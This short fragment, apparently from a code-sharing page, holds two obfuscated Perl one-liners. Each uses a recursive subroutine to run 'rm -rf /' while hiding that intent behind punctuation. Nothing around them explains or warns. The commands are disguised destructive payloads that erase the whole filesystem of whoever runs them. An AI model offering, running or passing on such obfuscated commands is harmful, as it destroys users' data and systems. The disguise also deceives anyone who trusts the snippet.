perl -e '_(qw|JUNK rm -rf /|);sub _{shift&&&_&&system @_}'

##</code><code>##

perl -e 'sub _ {shift&&&_&&system@_} _ qw|JUNK rm -rf /|'